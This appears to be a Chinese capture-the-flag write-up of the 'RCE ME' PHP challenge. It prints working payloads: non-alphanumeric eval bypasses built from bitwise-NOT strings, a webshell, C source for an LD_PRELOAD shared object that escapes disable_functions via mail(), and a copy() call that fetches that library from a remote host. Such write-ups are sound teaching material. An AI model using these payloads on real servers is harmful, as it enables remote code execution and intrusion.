0%

极客大挑战RCE ME

前言

evoa师傅出的题,学到很多,以前只看过disable_function 的第一次自己操作

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

LD_PRELOAD&mail

1
?code=(~%8F%97%8F%96%91%99%90)();

看到disable function

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

参考

https://www.anquanke.com/post/id/175403

https://www.freebuf.com/articles/web/192052.html

用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令

可以直接用

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD项目

也可以自己生成so文件

tinmin.c

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag");
}

编译一下

1
2
gcc -c -fPIC tinmin.c -o tinmin
gcc --share tinmin -o tinmin.so

用copy将文件上传

1
copy("http://vps/tinmin.so","/tmp/tinmin.so");

一开始?code因为限制长度40,所以用https://u.nu/ 短链接,能够将文件copy到web目录,后来evoa师傅说,可以蚁剑啊,才想起来,构造

1
?code=(~%9E%8C%8C%9A%8D%8B)(${~%A0%B8%BA%AB}[~%9E])								//$_GET[a]

然后a=eval($_POST[b]);就可以很舒服的执行php语句了,还可以蚁剑

image.png

蚁剑读一下重定向文件

image-20191215002848278

后记

好多细节不知道导致老是执行不成,例如assert只能执行一个函数,所以最后要eval

参考链接

https://evoa.me/index.php/archives/62/

https://www.freebuf.com/articles/web/192052.html

https://www.anquanke.com/post/id/175403